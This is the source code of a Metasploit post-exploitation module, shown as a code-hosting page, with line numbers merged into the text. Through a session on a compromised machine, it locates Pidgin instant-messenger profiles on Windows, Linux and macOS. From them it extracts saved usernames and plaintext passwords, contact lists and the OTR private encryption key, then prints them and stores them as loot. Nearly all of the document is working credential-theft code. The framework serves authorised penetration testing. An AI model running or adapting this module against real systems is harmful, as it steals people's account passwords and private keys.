Path: blob/master/modules/post/multi/gather/pidgin_cred.rb
19500 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'rexml/document'67class MetasploitModule < Msf::Post8include Msf::Post::File9include Msf::Post::Windows::UserProfiles1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Multi Gather Pidgin Instant Messenger Credential Collection',16'Description' => %q{17This module will collect credentials from the Pidgin IM client if it is installed.18},19'License' => MSF_LICENSE,20'Author' => [21'bannedit', # post port, added support for shell sessions22'Carlos Perez <carlos_perez[at]darkoperator.com>' # original meterpreter script23],24'Platform' => %w[bsd linux osx unix win],25'SessionTypes' => ['shell', 'meterpreter' ],26'Compat' => {27'Meterpreter' => {28'Commands' => %w[29core_channel_eof30core_channel_open31core_channel_read32core_channel_write33stdapi_fs_stat34stdapi_sys_config_getenv35stdapi_sys_config_getuid36]37}38},39'Notes' => {40'Stability' => [CRASH_SAFE],41'SideEffects' => [],42'Reliability' => []43}44)45)46register_options(47[48OptBool.new('CONTACTS', [false, 'Collect contact lists?', false]),49]50)51end5253# TODO: add support for collecting logs54def run55paths = []56case session.platform57when 'unix', 'linux', 'bsd'58@platform = :unix59paths = enum_users_unix60when 'osx'61@platform = :osx62paths = enum_users_unix63when 'windows'64@platform = :windows65profiles = grab_user_profiles66profiles.each do |user|67next if user['AppData'].nil?6869pdir = check_pidgin(user['AppData'])70paths << pdir if pdir71end72else73print_error "Unsupported platform #{session.platform}"74return75end76if paths.nil? || paths.empty?77print_status('No users found with a .purple directory')78return79end8081get_pidgin_creds(paths)82end8384def enum_users_unix85if @platform == :osx86home = '/Users/'87else88home = '/home/'89end9091# @todo use Msf::Post::File92if got_root?93userdirs = session.shell_command("ls #{home}").gsub(/\s/, "\n")94userdirs << "/root\n"95else96userdirs = session.shell_command("ls #{home}#{whoami}/.purple")97if userdirs =~ /No such file/i98return99else100print_status("Found Pidgin profile for: #{whoami}")101return ["#{home}#{whoami}/.purple"]102end103end104105paths = Array.new106userdirs.each_line do |dir|107dir.chomp!108next if dir == '.' || dir == '..'109110dir = "#{home}#{dir}" if dir !~ /root/111print_status("Checking for Pidgin profile in: #{dir}")112113stat = session.shell_command("ls #{dir}/.purple")114next if stat =~ /No such file/i115116paths << "#{dir}/.purple"117end118return paths119end120121def check_pidgin(purpledir)122print_status("Checking for Pidgin profile in: #{purpledir}")123124session.fs.dir.foreach(purpledir) do |dir|125if dir =~ /\.purple/126if @platform == :windows127path = "#{purpledir}\\#{dir}"128else129path = "#{purpledir}/#{dir}"130end131print_status("Found #{path}")132return path133end134end135136nil137end138139def get_pidgin_creds(paths)140case paths141when /#{@user}\\(.*)\\/142sys_user = ::Regexp.last_match(1)143when %r{home/(.*)/}144sys_user = ::Regexp.last_match(1)145end146147data = ''148credentials = Rex::Text::Table.new(149'Header' => 'Pidgin Credentials',150'Indent' => 1,151'Columns' =>152[153'System User',154'Username',155'Password',156'Protocol',157'Server',158'Port'159]160)161162buddylists = Rex::Text::Table.new(163'Header' => 'Pidgin Contact List',164'Indent' => 1,165'Columns' =>166[167'System User',168'Buddy Name',169'Alias',170'Protocol',171'Account'172]173)174175paths.each do |path|176print_status("Reading accounts.xml file from #{path}")177if session.type == 'shell'178type = :shell179data = session.shell_command("cat #{path}/accounts.xml")180else181type = :meterp182accounts = session.fs.file.new("#{path}\\accounts.xml", 'rb')183data << accounts.read until accounts.eof?184end185186creds = parse_accounts(data)187188if datastore['CONTACTS']189blist = ''190case type191when :shell192blist = session.shell_command("cat #{path}/blist.xml")193when :meterp194buddyxml = session.fs.file.new("#{path}/blist.xml", 'rb')195blist << buddyxml.read until buddyxml.eof?196end197198buddies = parse_buddies(blist)199end200201creds.each do |cred|202credentials << [sys_user, cred['user'], cred['password'], cred['protocol'], cred['server'], cred['port']]203end204205if buddies206buddies.each do |buddy|207buddylists << [sys_user, buddy['name'], buddy['alias'], buddy['protocol'], buddy['account']]208end209end210211# Grab otr.private_key212otr_key = ''213if session.type == 'shell'214otr_key = session.shell_command("cat #{path}/otr.private_key")215else216key_file = "#{path}/otr.private_key"217otrkey = begin218session.fs.file.stat(key_file)219rescue StandardError220nil221end222if otrkey223f = session.fs.file.new(key_file, 'rb')224otr_key << f.read until f.eof?225else226otr_key = 'No such file'227end228end229230if otr_key !~ /No such file/231store_loot('otr.private_key', 'text/plain', session, otr_key.to_s, 'otr.private_key', 'otr.private_key')232print_good("OTR Key: #{otr_key}")233end234end235236if datastore['CONTACTS']237store_loot('pidgin.contacts', 'text/plain', session, buddylists.to_csv, 'pidgin_contactlists.txt', 'Pidgin Contacts')238end239240store_loot('pidgin.creds', 'text/plain', session, credentials.to_csv, 'pidgin_credentials.txt', 'Pidgin Credentials')241end242243def parse_accounts(data)244creds = []245doc = REXML::Document.new(data).root246247doc.elements.each('account') do |sub|248account = {}249if sub.elements['password']250account['password'] = sub.elements['password'].text251else252account['password'] = '<unknown>'253end254255account['protocol'] = begin256sub.elements['protocol'].text257rescue StandardError258'<unknown>'259end260account['user'] = begin261sub.elements['name'].text262rescue StandardError263'<unknown>'264end265account['server'] = begin266sub.elements['settings'].elements["setting[@name='server']"].text267rescue StandardError268'<unknown>'269end270account['port'] = begin271sub.elements['settings'].elements["setting[@name='port']"].text272rescue StandardError273'<unknown>'274end275creds << account276277print_status('Collected the following credentials:')278print_status(" Server: #{account['server']}:#{account['port']}")279print_status(" Protocol: #{account['protocol']}")280print_status(" Username: #{account['user']}")281print_status(" Password: #{account['password']}")282print_line283end284285return creds286end287288def parse_buddies(data)289buddies = []290291doc = REXML::Document.new(data).root292doc.elements['blist'].elements.each('group') do |group|293group.elements.each('contact') do |bcontact|294contact = {}295contact['name'] = begin296bcontact.elements['buddy'].elements['name'].text297rescue StandardError298'<unknown>'299end300contact['account'] = begin301bcontact.elements['buddy'].attributes['account']302rescue StandardError303'<unknown>'304end305contact['protocol'] = begin306bcontact.elements['buddy'].attributes['proto']307rescue StandardError308'<unknown>'309end310311if bcontact.elements['buddy'].elements['alias']312contact['alias'] = bcontact.elements['buddy'].elements['alias'].text313else314contact['alias'] = '<unknown>'315end316317buddies << contact318print_status('Collected the following contacts:')319print_status(" Buddy Name: #{contact['name']}")320print_status(" Alias: #{contact['alias']}")321print_status(" Protocol: #{contact['protocol']}")322print_status(" Account: #{contact['account']}")323print_line324end325end326327return buddies328end329330def got_root?331case @platform332when :windows333if session.sys.config.getuid =~ /SYSTEM/334return true335else336return false337end338else # unix, bsd, linux, osx339ret = whoami340if ret =~ /root/341return true342else343return false344end345end346end347348def whoami349if @platform == :windows350session.sys.config.getenv('USERNAME')351else352session.shell_command('whoami').chomp353end354end355end356357358